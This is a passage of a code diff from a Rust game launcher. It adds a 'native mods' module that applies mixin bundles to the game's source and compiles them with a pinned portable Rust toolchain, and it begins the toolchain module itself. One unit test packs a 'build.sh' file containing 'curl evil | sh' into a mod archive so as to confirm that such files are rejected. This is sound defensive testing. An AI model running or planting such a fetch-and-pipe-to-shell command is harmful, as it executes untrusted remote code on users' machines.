cx.notify();
}),
),
@@ -3231,8 +3420,7 @@ impl Launcher {
actions = actions.child(
button(format!("select-{i}"), "Play as", Kind::Secondary, &t).on_click(
cx.listener(move |this, _: &ClickEvent, _, cx| {
this.accounts.selected = Some(uuid.clone());
let _ = this.accounts.save();
this.play_as(account::Player::Microsoft(uuid.clone()));
cx.notify();
}),
),
@@ -3241,12 +3429,15 @@ impl Launcher {
actions = actions.child(
button(format!("sign-out-{i}"), "Sign out", Kind::Ghost, &t).on_click(cx.listener(
move |this, _: &ClickEvent, _, cx| {
let store = account::store();
if let Err(e) = this.accounts.remove(store, &uuid) {
this.sign_in_state = Some(SignInState::Done(Err(e)));
let mut accounts = Accounts::load();
match accounts
.remove(account::store(), &uuid)
.and_then(|()| accounts.save())
{
Ok(()) => this.accounts = accounts,
Err(e) => this.sign_in_state = Some(SignInState::Done(Err(e))),
}
let _ = this.accounts.save();
this.owner = Some(this.accounts.has_owner(store));
this.owner = Some(this.accounts.has_owner(account::store()));
cx.notify();
},
)),
+800
View File
@@ -0,0 +1,800 @@
//! Native mods (docs/native-mods.md), experimental and off by default: mixin bundles that
//! levzzz5154's horizon-mixins (MIT, <https://github.com/horizon-rust/horizon-mixins>) applies to
//! Horizon's source, which the launcher then compiles into a game of its own with its portable Rust
//! ([`rust_toolchain`]). Unlike `.hmod` mods they are not sandboxed: their code runs with the
//! player's rights.
//!
//! A native mod pins the Horizon revision it was made for (a Nightly's or a release's commit), and
//! every mod of one build must pin the same one. The build compiles that revision's source, from
//! GitHub, never a checkout on this computer, and installs as its own version,
//! `native-<revision>-<key>` (the key hashes the revision, the mods' files, the tool's commit and
//! the profile, so the same set builds once). It plays in its own instance, "Native mods", so a
//! mod never touches the player's worlds.
use crate::backend;
use crate::instances::{self, Instance};
use crate::rust_toolchain::{self, Toolchain};
use sha2::{Digest, Sha256};
use std::fs;
use std::io::{BufRead, BufReader, Write};
use std::path::{Path, PathBuf};
use std::process::{Command, Stdio};
/// The Native mods instance's id (its folder in `instances/`) and name.
pub const INSTANCE: &str = "native-mods";
const NAME: &str = "Native mods";
const PREFIX: &str = "native-";
/// horizon-mixins, for bundles that don't name the revision they were tested with.
const MIXINS_GIT: &str = "https://github.com/horizon-rust/horizon-mixins";
pub const MIXINS_REV: &str = "0500ff24aa5933fca95a877ef41125353c4b4fe3";
/// The profile and features of the release's own game (game-build.yml).
const PROFILE: &str = "release";
const FEATURES: &str = "horizon-client/mods";
/// Whether an installed version is a native-mods build.
pub fn is_native(version: &str) -> bool {
version.starts_with(PREFIX)
}
fn root() -> PathBuf {
backend::data_dir().join("native")
}
/// The build's log, kept until the next build.
pub fn log_path() -> PathBuf {
root().join("build.log")
}
const MANIFEST: &str = "horizon-mixin.toml";
/// A registry download's manifest (`.hnmod`, `horizon_mods::index::native`), beside `mixins/<id>/`.
const NATIVE_MANIFEST: &str = horizon_mods::index::native::MANIFEST;
/// Where an instance keeps the native mods installed from the registry, `<id>.hnmod`, each on or
/// off in `horizon-mods.txt` like any mod.
pub const INSTALLED: &str = "horizon-native-mods";
/// The native mods turned on in the game folder `home`, unpacked into a folder [`build`] takes.
/// Each `.hnmod` is checked again as the registry checks it (only `.rs` and `.toml` under
/// `mixins/<id>/`, nothing run), so a file edited since its download can't smuggle anything else in.
pub fn installed_mods(home: &Path) -> Result<PathBuf, String> {
let out = root().join("installed.incoming");
let _ = fs::remove_dir_all(&out);
let mut paths: Vec<PathBuf> = fs::read_dir(home.join(INSTALLED))
.map(|dir| dir.flatten().map(|e| e.path()).collect())
.unwrap_or_default();
paths.retain(|p| p.extension().is_some_and(|e| e == "hnmod"));
paths.sort();
let mut count = 0;
for path in paths {
let bundle = horizon_mods::index::native::Bundle::read(&path)
.map_err(|e| format!("{}: {e}", path.display()))?;
if !crate::browser::java::is_enabled(home, &bundle.manifest.id) {
continue;
}
let dir = out.join(&bundle.manifest.id);
for (name, bytes) in &bundle.files {
let to = dir.join(name);
fs::create_dir_all(to.parent().unwrap_or(&dir)).map_err(|e| e.to_string())?;
fs::write(&to, bytes).map_err(|e| format!("{}: {e}", to.display()))?;
}
count += 1;
}
if count == 0 {
return Err(format!(
"No native mod is turned on in {}: install one from the Mods page first.",
home.join(INSTALLED).display()
));
}
Ok(out)
}
/// A mixin bundle: a folder with a `horizon-mixin.toml`, and the revisions it pins.
#[derive(Clone, Debug, PartialEq)]
pub struct Bundle {
pub id: String,
pub version: String,
pub dir: PathBuf,
/// The Horizon commit it builds on (`[compatibility] horizon_revision`, or its `.hnmod`'s).
pub horizon: Option<String>,
/// The horizon-mixins commit it was tested with (its `.hnmod`'s).
pub mixins: Option<String>,
}
/// The bundles in `folder`: the folder itself when it is one (a `horizon-mixin.toml`, or an
/// unpacked `.hnmod`: `horizon-native.json` and `mixins/<id>/`), else each of its subfolders that is.
pub fn bundles(folder: &Path) -> Result<Vec<Bundle>, String> {
if let Some(found) = bundle_in(folder)? {
return Ok(vec![found]);
}
let mut dirs: Vec<PathBuf> = fs::read_dir(folder)
.map_err(|e| format!("Could not read {}: {e}", folder.display()))?
.flatten()
.map(|e| e.path())
.filter(|p| p.is_dir())
.collect();
dirs.sort();
let mut found = Vec::new();
for dir in dirs {
found.extend(bundle_in(&dir)?);
}
if found.is_empty() {
return Err(format!(
"{} holds no native mod ({MANIFEST} or {NATIVE_MANIFEST}).",
folder.display()
));
}
Ok(found)
}
fn bundle_in(dir: &Path) -> Result<Option<Bundle>, String> {
if dir.join(MANIFEST).is_file() {
return bundle(dir, None).map(Some);
}
let path = dir.join(NATIVE_MANIFEST);
if !path.is_file() {
return Ok(None);
}
let text = fs::read_to_string(&path).map_err(|e| format!("{}: {e}", path.display()))?;
let native: serde_json::Value =
serde_json::from_str(&text).map_err(|e| format!("{}: {e}", path.display()))?;
let field = |name: &str| native[name].as_str().map(str::to_owned);
let id = field("id").ok_or_else(|| format!("{} has no id.", path.display()))?;
let found = bundle(&dir.join("mixins").join(&id), field("mixins"))?;
match (&found.horizon, field("horizon")) {
(Some(pinned), Some(native)) if *pinned != native => Err(format!(
"{id}: {NATIVE_MANIFEST} pins Horizon {native}, its {MANIFEST} {pinned}."
)),
(_, native) => Ok(Some(Bundle {
horizon: found.horizon.clone().or(native),
..found
})),
}
}
fn bundle(dir: &Path, mixins: Option<String>) -> Result<Bundle, String> {
let path = dir.join(MANIFEST);
let text = fs::read_to_string(&path).map_err(|e| format!("{}: {e}", path.display()))?;
let value: toml::Table = text
.parse()
.map_err(|e| format!("{}: {e}", path.display()))?;
let field = |table: &str, name: &str| {
value
.get(table)
.and_then(|m| m.get(name))
.and_then(|v| v.as_str())
.map(str::to_owned)
};
let need = |name: &str| {
field("mod", name).ok_or_else(|| format!("{} has no [mod] {name}.", path.display()))
};
Ok(Bundle {
id: need("id")?,
version: need("version")?,
dir: dir.to_owned(),
horizon: field("compatibility", "horizon_revision"),
mixins,
})
}
fn is_revision(text: &str) -> bool {
text.len() == 40 && text.bytes().all(|b| matches!(b, b'0'..=b'9' | b'a'..=b'f'))
}
/// The one value the bundles pin for `which` (each mod's `get`), else `fallback`; mods that pin
/// different ones can't be built together, and the error says which.
fn agreed(
bundles: &[Bundle],
which: &str,
get: impl Fn(&Bundle) -> Option<&String>,
fallback: impl FnOnce() -> Result<String, String>,
) -> Result<String, String> {
let mut pins: Vec<(&String, &str)> = bundles
.iter()
.filter_map(|b| get(b).map(|r| (r, b.id.as_str())))
.collect();
pins.sort();
let revision = match pins.first() {
None => fallback()?,
Some((first, _)) if pins.iter().all(|(r, _)| r == first) => (*first).clone(),
Some(_) => {
let list: Vec<String> = pins
.iter()
.map(|(r, id)| format!("{id} → {}", &r[..r.len().min(7)]))
.collect();
return Err(format!(
"These mods were made for different {which} revisions and can't be built together: {}. Install versions made for the same Nightly.",
list.join(", ")
));
}
};
if !is_revision(&revision) {
return Err(format!(
"{revision} is not a {which} commit (40 hex digits)."
));
}
Ok(revision)
}
/// The Horizon commit `version` (an installed release or Nightly) was built from, from GitHub.
pub fn revision_of(version: &str) -> Result<String, String> {
let reference = match version.strip_prefix("nightly-") {
// nightly-2026-10-28-0c02067: the commit is its last word.
Some(rest) => rest.rsplit('-').next().unwrap_or(rest),
None => version,
};
let url = format!(
"https://api.github.com/repos/{}/commits/{reference}",
backend::REPO
);
let commit: serde_json::Value = backend::get(&url)?.into_json().map_err(|e| e.to_string())?;
commit["sha"]
.as_str()
.filter(|s| is_revision(s))
.map(str::to_owned)
.ok_or_else(|| format!("GitHub doesn't know the commit of {version}."))
}
/// Every file under `dir`, by its path relative to `dir` (with `/`), sorted. A symlink is refused:
/// horizon-mixins refuses them too.
fn files(dir: &Path) -> Result<Vec<(String, PathBuf)>, String> {
fn walk(root: &Path, dir: &Path, out: &mut Vec<(String, PathBuf)>) -> Result<(), String> {
for entry in fs::read_dir(dir).map_err(|e| e.to_string())?.flatten() {
let (path, kind) = (entry.path(), entry.file_type().map_err(|e| e.to_string())?);
if kind.is_symlink() {
return Err(format!(
"{} is a link: copy the file instead.",
path.display()
));
} else if kind.is_dir() {
walk(root, &path, out)?;
} else {
let relative = path.strip_prefix(root).unwrap_or(&path);
out.push((relative.to_string_lossy().replace('\\', "/"), path));
}
}
Ok(())
}
let mut out = Vec::new();
walk(dir, dir, &mut out)?;
out.sort();
Ok(out)
}
/// The installed version `bundles` built on Horizon `revision` with horizon-mixins `mixins`
/// become: `native-<7 digits of the revision>-<12 hex digits>`.
pub fn version_for(revision: &str, mixins: &str, bundles: &[Bundle]) -> Result<String, String> {
let mut hash = Sha256::new();
for part in [mixins, PROFILE, FEATURES, rust_toolchain::VERSION, revision] {
hash.update(part.as_bytes());
hash.update([0]);
}
let mut sorted: Vec<&Bundle> = bundles.iter().collect();
sorted.sort_by(|a, b| a.id.cmp(&b.id));
for b in sorted {
hash.update(b.id.as_bytes());
hash.update([0]);
for (name, path) in files(&b.dir)? {
let bytes = fs::read(&path).map_err(|e| format!("{}: {e}", path.display()))?;
hash.update(name.as_bytes());
hash.update((bytes.len() as u64).to_le_bytes());
hash.update(&bytes);
}
}
let key: String = hash.finalize()[..6]
.iter()
.map(|b| format!("{b:02x}"))
.collect();
Ok(format!("{PREFIX}{}-{key}", &revision[..7]))
}
/// Where a build is.
#[derive(Clone, Debug, PartialEq)]
pub enum Step {
Rust(f32),
Tool,
Source(String),
Mixins,
/// Crates compiled so far, and the last one.
Compile(usize, String),
Install,
}
impl Step {
pub fn label(&self) -> String {
match self {
Self::Rust(done) => format!(
"Downloading Rust {} (once): {:.0}%",
rust_toolchain::VERSION,
done * 100.0
),
Self::Tool => "Building horizon-mixins (once)".into(),
Self::Source(revision) => {
format!("Downloading Horizon's source at {}", &revision[..7])
}
Self::Mixins => "Applying the mixins".into(),
Self::Compile(n, name) => format!("Compiling the game: {n} crates, now {name}"),
Self::Install => "Installing the build".into(),
}
}
}
/// Runs `cmd`, its output appended to the build log; `line` sees each line of its standard error.
/// An error ends with the last lines.
fn run(mut cmd: Command, what: &str, mut line: impl FnMut(&str)) -> Result<(), String> {
let mut log = fs::OpenOptions::new()
.create(true)
.append(true)
.open(log_path())
.map_err(|e| e.to_string())?;
let _ = writeln!(log, "$ {cmd:?}");
let stdout = log.try_clone().map_err(|e| e.to_string())?;
let mut child = cmd
.stdout(stdout)
.stderr(Stdio::piped())
.spawn()
.map_err(|e| format!("Could not start {what}: {e}"))?;
let mut tail = std::collections::VecDeque::new();
for text in BufReader::new(child.stderr.take().expect("piped"))
.lines()
.map_while(Result::ok)
{
let _ = writeln!(log, "{text}");
line(&text);
if tail.len() == 12 {
tail.pop_front();
}
tail.push_back(text);
}
let status = child.wait().map_err(|e| e.to_string())?;
if status.success() {
return Ok(());
}
let tail: Vec<String> = tail.into();
Err(format!(
"{what} failed ({status}). The end of its output, the whole of it in {}:\n{}",
log_path().display(),
diagnostic(&tail.join("\n")).unwrap_or_else(|| tail.join("\n"))
))
}
/// A horizon-mixins diagnostic (`{"code", "message", "file"}`) in one line.
fn diagnostic(text: &str) -> Option<String> {
let start = text.find('{')?;
let value: serde_json::Value = serde_json::from_str(&text[start..]).ok()?;
let mut line = format!(
"{}: {}",
value["code"].as_str()?,
value["message"].as_str()?
);
if let Some(file) = value["file"].as_str() {
line += &format!(" ({file})");
}
Some(line)
}
/// horizon-mixins at commit `rev`, built once with the launcher's cargo (`cargo install --locked`).
fn tool(rust: &Toolchain, rev: &str) -> Result<PathBuf, String> {
let dir = root().join("tools").join(&rev[..12]);
let bin = dir
.join("bin")
.join(format!("horizon-mixins{}", std::env::consts::EXE_SUFFIX));
if !bin.is_file() {
let mut cmd = rust.command(&rust.cargo());
cmd.args([
"install", "--locked", "--git", MIXINS_GIT, "--rev", rev, "--root",
])
.arg(&dir)
.arg("horizon-mixins-cli");
run(cmd, "Building horizon-mixins", |_| {})?;
}
Ok(bin)
}
/// Horizon's source at commit `revision`: GitHub's archive of it, unpacked once, with the commit in
/// `.horizon-revision` (bundles pin it). A Nightly's commit stays downloadable after the Nightly
/// is gone: its `nightly-source/…` tag keeps it (docs/release-flow.md). Links are left out:
/// horizon-mixins refuses them, and none is needed to build.
fn source(revision: &str) -> Result<PathBuf, String> {
let dir = root().join("source").join(revision);
if dir.join(".horizon-revision").is_file() {
return Ok(dir);
}
let archive = format!(
"https://codeload.github.com/{}/tar.gz/{revision}",
backend::REPO
);
let partial = root().join("source").join(format!(".{revision}.partial"));
let _ = fs::remove_dir_all(&partial);
fs::create_dir_all(&partial).map_err(|e| e.to_string())?;
let reader = flate2::read::GzDecoder::new(backend::get(&archive)?.into_reader());
let mut tar = tar::Archive::new(reader);
for entry in tar.entries().map_err(|e| e.to_string())? {
let mut entry = entry.map_err(|e| format!("Download interrupted: {e}"))?;
let kind = entry.header().entry_type();
if !(kind.is_file() || kind.is_dir()) {
continue;
}
entry
.unpack_in(&partial)
.map_err(|e| format!("Could not unpack the source: {e}"))?;
}
// The archive's one top folder (horizon-<commit>/) is the source's root.
let top = fs::read_dir(&partial)
.map_err(|e| e.to_string())?
.flatten()
.map(|e| e.path())
.find(|p| p.is_dir())
.ok_or("The source archive is empty.")?;
fs::write(top.join(".horizon-revision"), revision).map_err(|e| e.to_string())?;
let _ = fs::remove_dir_all(&dir);
fs::rename(&top, &dir).map_err(|e| e.to_string())?;
let _ = fs::remove_dir_all(&partial);
Ok(dir)
}
/// Makes `to` hold `from`'s files, writing only those that changed, so Cargo, which goes by file
/// times, recompiles only what the mods changed.
fn sync(from: &Path, to: &Path) -> Result<(), String> {
let new = files(from)?;
let old = if to.is_dir() { files(to)? } else { Vec::new() };
for (name, path) in &new {
let target = to.join(name);
if fs::read(&target).ok() != fs::read(path).ok() {
fs::create_dir_all(target.parent().unwrap_or(to)).map_err(|e| e.to_string())?;
fs::copy(path, &target).map_err(|e| format!("{}: {e}", target.display()))?;
}
}
for (name, path) in old {
if new.binary_search_by(|(n, _)| n.cmp(&name)).is_err() {
let _ = fs::remove_file(path);
}
}
Ok(())
}
/// Builds `folder`'s mods on the Horizon revision they pin (else `base`'s, the installed version
/// whose game files the build reuses) and points `instance` at the build: the instance the mods
/// were installed in, else (None, or the game's own home) the Native mods instance. Returns the
/// build's version; a build already made is used again.
pub fn build(
base: &str,
folder: &Path,
instance: Option<&Instance>,
progress: impl Fn(Step),
) -> Result<String, String> {
backend::need_prepared(base)?;
fs::create_dir_all(root()).map_err(|e| e.to_string())?;
let _ = fs::write(log_path(), "");
// The mods are copied first: the build and its key use the copy, whatever happens to the
// folder meanwhile.
let incoming = root().join("mods.incoming");
let _ = fs::remove_dir_all(&incoming);
let found = bundles(folder)?;
for b in &found {
backend::copy_dir(&b.dir, &incoming.join(&b.id)).map_err(|e| e.to_string())?;
}
let mods: Vec<Bundle> = found
.into_iter()
.map(|b| Bundle {
dir: incoming.join(&b.id),
..b
})
.collect();
let revision = agreed(
&mods,
"Horizon",
|b| b.horizon.as_ref(),
|| revision_of(base),
)?;
let mixins = agreed(
&mods,
"horizon-mixins",
|b| b.mixins.as_ref(),
|| Ok(MIXINS_REV.into()),
)?;
let version = version_for(&revision, &mixins, &mods)?;
if !backend::installed().contains(&version) {
rust_toolchain::linker()?;
let rust = rust_toolchain::install(|f| progress(Step::Rust(f)))?;
progress(Step::Tool);
let tool = tool(&rust, &mixins)?;
progress(Step::Source(revision.clone()));
let source = source(&revision)?;
progress(Step::Mixins);
// horizon-mixins refuses an output path through a link (macOS's /tmp is one).
let real = root().canonicalize().map_err(|e| e.to_string())?;
let fresh = real.join("stage.new");
let _ = fs::remove_dir_all(&fresh);
let mut apply = Command::new(&tool);
apply.arg("apply").arg("--workspace").arg(&source);
apply.arg("--mods").arg(&incoming).arg("--out").arg(&fresh);
run(apply, "horizon-mixins", |_| {})?;
let stage = root().join("stage");
sync(&fresh, &stage)?;
let _ = fs::remove_dir_all(&fresh);
let target = root().join("target");
let mut compile = rust.command(&rust.cargo());
compile.current_dir(&stage).env("CARGO_TARGET_DIR", &target);
compile.args([
"build",
"--locked",
"--profile",
PROFILE,
"--features",
FEATURES,
]);
compile.args(["-p", "horizon-client", "--bin", "horizon-client"]);
let mut crates = 0;
run(compile, "Compiling the game", |line| {
if let Some(name) = line.trim_start().strip_prefix("Compiling ") {
crates += 1;
let name = name.split_whitespace().next().unwrap_or(name);
progress(Step::Compile(crates, name.to_owned()));
}
})?;
progress(Step::Install);
let about = serde_json::json!({
"base": base,
"horizon": revision,
"horizon_mixins": mixins,
"rust": rust_toolchain::VERSION,
"mods": mods.iter().map(|m| serde_json::json!({"id": m.id, "version": m.version})).collect::<Vec<_>>(),
});
let binary = target.join(PROFILE).join(backend::CLIENT);
install(base, &version, &binary, &about)?;
}
match instance.filter(|i| i.kind != instances::Kind::Default) {
Some(own) => instances::edit(&own.id, |meta| meta.version = Some(version.clone()))?,
None => instance_on(&version)?,
};
prune(&version);
let _ = fs::remove_dir_all(&incoming);
Ok(version)
}
/// Installs `binary` as version `version`: a copy of installed version `base`'s folder (its
/// resources included; cloned where the disk can) with the built game in place of `base`'s.
fn install(
base: &str,
version: &str,
binary: &Path,
about: &serde_json::Value,
) -> Result<(), String> {
let from = backend::version_dir(base);
let partial = backend::version_dir(&format!(".{version}.partial"));
let _ = fs::remove_dir_all(&partial);
fs::create_dir_all(&partial).map_err(|e| e.to_string())?;
for entry in fs::read_dir(&from).map_err(|e| e.to_string())?.flatten() {
let name = entry.file_name();
if [
backend::CLIENT,
".installed",
"Horizon.app",
"native-mods.json",
]
.iter()
.any(|n| name == *n)
{
continue;
}
let to = partial.join(&name);
let copied = if entry.path().is_dir() {
backend::copy_dir(&entry.path(), &to)
} else {
horizon_prepare::clone_or_copy(&entry.path(), &to)
};
copied.map_err(|e| format!("Could not copy {}: {e}", entry.path().display()))?;
}
let client = partial.join(backend::CLIENT);
fs::copy(binary, &client).map_err(|e| format!("The built game: {e}"))?;
fs::write(partial.join("native-mods.json"), about.to_string()).map_err(|e| e.to_string())?;
let dir = backend::version_dir(version);
let _ = fs::remove_dir_all(&dir);
fs::rename(&partial, &dir).map_err(|e| e.to_string())?;
fs::write(dir.join(".installed"), "").map_err(|e| e.to_string())
}
/// The Native mods instance, made empty the first time, playing `version`.
fn instance_on(version: &str) -> Result<Instance, String> {
if instances::find(INSTANCE).is_err() {
instances::create(NAME, None)?;
}
instances::edit(INSTANCE, |meta| meta.version = Some(version.to_owned()))
}
/// Removes the native builds other than `keep` that no instance plays. The compiled crates
/// (`native/target`) stay, so the next build only compiles what changed.
pub fn prune(keep: &str) {
let played: Vec<String> = instances::list()
.into_iter()
.filter_map(|i| i.version)
.collect();
for old in backend::installed() {
if is_native(&old) && old != keep && !played.contains(&old) {
let _ = backend::remove(&old);
}
}
}
#[cfg(test)]
mod tests {
use super::*;
fn dir(name: &str) -> PathBuf {
let d = std::env::temp_dir().join(format!("horizon-native-{name}-{}", std::process::id()));
let _ = fs::remove_dir_all(&d);
fs::create_dir_all(&d).unwrap();
d
}
fn write_bundle(at: &Path, id: &str, helper: &str) {
fs::create_dir_all(at).unwrap();
let manifest = format!("[mod]\nid = \"{id}\"\nversion = \"0.1.0\"\n");
fs::write(at.join(MANIFEST), manifest).unwrap();
fs::write(at.join("hook.rs"), helper).unwrap();
}
#[test]
fn a_folder_is_one_bundle_or_a_folder_of_them() {
let one = dir("one");
write_bundle(&one, "hello", "fn hook() {}");
let found = bundles(&one).unwrap();
assert_eq!(
(found[0].id.as_str(), found[0].version.as_str()),
("hello", "0.1.0")
);
let many = dir("many");
write_bundle(&many.join("b"), "beta", "fn hook() {}");
write_bundle(&many.join("a"), "alpha", "fn hook() {}");
fs::create_dir_all(many.join("notes")).unwrap();
let ids: Vec<String> = bundles(&many).unwrap().into_iter().map(|b| b.id).collect();
assert_eq!(ids, ["alpha", "beta"]);
assert!(bundles(&many.join("notes")).is_err());
}
const A: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
const B: &str = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";
/// An unpacked `.hnmod`, as the registry ships one (horizon_mods::index::native).
fn write_native(at: &Path, id: &str, horizon: &str, mixins: &str) {
let manifest = serde_json::json!({"schema": 1, "id": id, "version": "0.3.0", "game": "26.3",
"horizon": horizon, "mixins": mixins});
fs::create_dir_all(at.join("mixins").join(id)).unwrap();
fs::write(at.join(NATIVE_MANIFEST), manifest.to_string()).unwrap();
let toml = format!("[mod]\nid = \"{id}\"\nversion = \"0.3.0\"\n[compatibility]\nhorizon_revision = \"{horizon}\"\n");
fs::write(at.join("mixins").join(id).join(MANIFEST), toml).unwrap();
}
#[test]
fn a_registry_download_is_a_bundle_with_its_pins() {
let d = dir("hnmod");
write_native(&d.join("veinminer"), "veinminer", A, B);
write_bundle(&d.join("local"), "hello", "fn hook() {}");
let found = bundles(&d).unwrap();
assert_eq!(found.len(), 2);
assert_eq!(found[1].id, "veinminer");
assert_eq!(found[1].dir, d.join("veinminer/mixins/veinminer"));
assert_eq!(found[1].horizon.as_deref(), Some(A));
assert_eq!(found[1].mixins.as_deref(), Some(B));
assert_eq!(
(found[0].horizon.as_ref(), found[0].mixins.as_ref()),
(None, None)
);
}
#[test]
fn installed_mods_are_the_checked_files_of_those_turned_on() {
let d = dir("installed-src");
write_native(&d, "veinminer", A, B);
let home = dir("installed-home");
fs::create_dir_all(home.join(INSTALLED)).unwrap();
let pack = |name: &str, extra: Option<(&str, &str)>| {
let mut zip =
zip::ZipWriter::new(fs::File::create(home.join(INSTALLED).join(name)).unwrap());
let options = zip::write::SimpleFileOptions::default();
for file in [NATIVE_MANIFEST, "mixins/veinminer/horizon-mixin.toml"] {
zip.start_file(file, options).unwrap();
zip.write_all(&fs::read(d.join(file)).unwrap()).unwrap();
}
if let Some((file, body)) = extra {
zip.start_file(file, options).unwrap();
zip.write_all(body.as_bytes()).unwrap();
}
zip.finish().unwrap();
};
pack("veinminer.hnmod", None);
assert!(installed_mods(&home).is_err(), "off until turned on");
crate::browser::java::set_enabled(&home, "veinminer", true).unwrap();
let out = installed_mods(&home).unwrap();
let found = bundles(&out).unwrap();
assert_eq!(
(found[0].id.as_str(), found[0].horizon.as_deref()),
("veinminer", Some(A))
);
pack("veinminer.hnmod", Some(("build.sh", "curl evil | sh")));
assert!(installed_mods(&home).is_err(), "only Rust and TOML sources");
}
#[test]
fn the_mods_of_one_build_pin_one_revision() {
let pinned = |id: &str, horizon: Option<&str>| Bundle {
id: id.into(),
version: "1".into(),
dir: PathBuf::new(),
horizon: horizon.map(str::to_owned),
mixins: None,
};
let never = || -> Result<String, String> { panic!("a pin wins") };
fn get(b: &Bundle) -> Option<&String> {
b.horizon.as_ref()
}
let same = [
pinned("a", Some(A)),
pinned("b", None),
pinned("c", Some(A)),
];
assert_eq!(agreed(&same, "Horizon", get, never).unwrap(), A);
let none = [pinned("a", None)];
assert_eq!(agreed(&none, "Horizon", get, || Ok(B.into())).unwrap(), B);
let split = [pinned("veinminer", Some(A)), pinned("minimap", Some(B))];
let err = agreed(&split, "Horizon", get, never).unwrap_err();
assert!(
err.contains("veinminer → aaaaaaa") && err.contains("minimap → bbbbbbb"),
"{err}"
);
let bad = [pinned("a", Some("nightly"))];
assert!(agreed(&bad, "Horizon", get, never).is_err());
}
#[test]
fn the_version_changes_with_the_revision_and_any_file_of_the_mods() {
let d = dir("key");
write_bundle(&d, "hello", "fn hook() {}");
let key =
|revision: &str| version_for(revision, MIXINS_REV, &bundles(&d).unwrap()).unwrap();
let first = key(A);
assert!(
first.starts_with("native-aaaaaaa-") && first.len() == "native-aaaaaaa-".len() + 12
);
assert!(is_native(&first) && !backend::is_game_tag(&first));
assert_eq!(first, key(A));
assert_ne!(first, key(B));
assert_ne!(first, version_for(A, B, &bundles(&d).unwrap()).unwrap());
fs::write(d.join("hook.rs"), "fn hook() { let _ = 1; }").unwrap();
assert_ne!(first, key(A));
}
#[test]
fn only_changed_files_are_written_again() {
let (from, to) = (dir("sync-from"), dir("sync-to"));
fs::create_dir_all(from.join("src")).unwrap();
fs::write(from.join("src/a.rs"), "a").unwrap();
fs::write(from.join("src/b.rs"), "b2").unwrap();
fs::create_dir_all(to.join("src")).unwrap();
fs::write(to.join("src/a.rs"), "a").unwrap();
fs::write(to.join("src/b.rs"), "b").unwrap();
fs::write(to.join("gone.rs"), "x").unwrap();
let before = fs::metadata(to.join("src/a.rs"))
.unwrap()
.modified()
.unwrap();
std::thread::sleep(std::time::Duration::from_millis(20));
sync(&from, &to).unwrap();
assert_eq!(
fs::metadata(to.join("src/a.rs"))
.unwrap()
.modified()
.unwrap(),
before
);
assert_eq!(fs::read_to_string(to.join("src/b.rs")).unwrap(), "b2");
assert!(!to.join("gone.rs").exists());
}
#[test]
fn tool_errors_read_in_one_line() {
let err = "{\n \"code\": \"E_REVISION\",\n \"message\": \"requires exact Horizon revision a\",\n \"file\": \"m.toml\"\n}";
assert_eq!(
diagnostic(err).as_deref(),
Some("E_REVISION: requires exact Horizon revision a (m.toml)")
);
}
}
+407
View File
@@ -0,0 +1,407 @@
//! A portable Rust toolchain of the launcher's own, for native mods (docs/native-mods.md), which
//! compile the game. levzzz5154 (2026-10-27): players combine many native mods per build, so they
//! build on their own computer, and the launcher brings the compiler.
//!
//! It downloads only the official components a build needs (`rustc`, `cargo`, `rust-std`, and on
//! Windows `rust-mingw`, the linker of the `windows-gnu` host, which needs no Visual Studio) from
//! static.rust-lang.org, each pinned by its SHA-256 below, and unpacks them into the launcher's data
//! folder. No rustup, nothing installed on the system or added to the PATH: the launcher calls this
//! cargo with its own `CARGO_HOME`. The pins come from the channel manifest of [`VERSION`]
//! (`https://static.rust-lang.org/dist/channel-rust-<VERSION>.toml`, `[pkg.<name>.target.<host>]`).
use crate::backend;
use std::fs;
use std::path::{Path, PathBuf};
use std::process::Command;
/// The Rust release native mods build with: the stable release when it was pinned (CI builds the
/// game on stable; horizon-mixins needs 1.95 or newer).
pub const VERSION: &str = "1.99.1";
const DIST: &str = "https://static.rust-lang.org/dist/2026-10-15";
/// One platform's components: (name, SHA-256 of `<name>-<VERSION>-<target>.tar.gz`).
pub struct Host {
pub target: &'static str,
components: &'static [(&'static str, &'static str)],
}
const HOSTS: &[Host] = &[
Host {
target: "aarch64-apple-darwin",
components: &[
(
"rustc",
"cc998c1dc8df006106472357aa87838b2da3f7b25446b98a94cfd58796cb0610",
),
(
"cargo",
"b5cc7634f919949c3e5e131123f813416dc47f6b809a5371d12f1f593595ae13",
),
(
"rust-std",
"c124006d63885ba1029aca49efd59e93be6b2b171c379318ff94a00ef5eba664",
),
],
},
Host {
target: "x86_64-unknown-linux-gnu",
components: &[
(
"rustc",
"85e7c0e6f21636f714e2a42966011364a6cc56b6548126d32144d6ba90904966",
),
(
"cargo",
"47babc028247e26577f8a1bf390b11f447ad9b7ab93f5c9a0dda078935fc149b",
),
(
"rust-std",
"d1290c05994a59c029e562cb75be1bddc6fb11a4c501e1b7b0f61d119c6cbb12",
),
],
},
Host {
target: "x86_64-pc-windows-gnu",
components: &[
(
"rustc",
"43b17e9a9134ea72562bfbb23728a830f671ea9be1db6a72597a8d240e986b35",
),
(
"cargo",
"57e54617be4420dbb967ca8293f5ace7168104ac12efa9dc7c5c3bda112f8b36",
),
(
"rust-std",
"6546651238a3ac092b763511be524ca6eda6103e5d47342416923be1b3ce837c",
),
(
"rust-mingw",
"30263d7bb4fd0bf63a153afe36d7fc102f929a7d42781651c6b3a03a414ba428",
),
],
},
];
/// This computer's host, if the launcher ships a toolchain for it (the platforms it is released
/// for: macOS on Apple silicon, Linux x86-64, Windows x64).
pub fn host() -> Option<&'static Host> {
let target = match (std::env::consts::OS, std::env::consts::ARCH) {
("macos", "aarch64") => "aarch64-apple-darwin",
("linux", "x86_64") => "x86_64-unknown-linux-gnu",
("windows", "x86_64") => "x86_64-pc-windows-gnu",
_ => return None,
};
HOSTS.iter().find(|h| h.target == target)
}
fn exe(name: &str) -> String {
format!("{name}{}", std::env::consts::EXE_SUFFIX)
}
/// An unpacked toolchain.
#[derive(Clone, Debug, PartialEq)]
pub struct Toolchain {
pub dir: PathBuf,
}
impl Toolchain {
pub fn cargo(&self) -> PathBuf {
self.dir.join("bin").join(exe("cargo"))
}
/// `program` (this toolchain's cargo, or a tool built with it) set up to use only this
/// toolchain: its rustc, the launcher's Cargo home, and none of the player's rustup or
/// compiler-wrapper settings.
pub fn command(&self, program: &Path) -> Command {
let mut cmd = Command::new(program);
let path = std::env::var_os("PATH").unwrap_or_default();
let paths = std::iter::once(self.dir.join("bin")).chain(std::env::split_paths(&path));
cmd.env("PATH", std::env::join_paths(paths).unwrap_or(path))
.env("RUSTC", self.dir.join("bin").join(exe("rustc")))
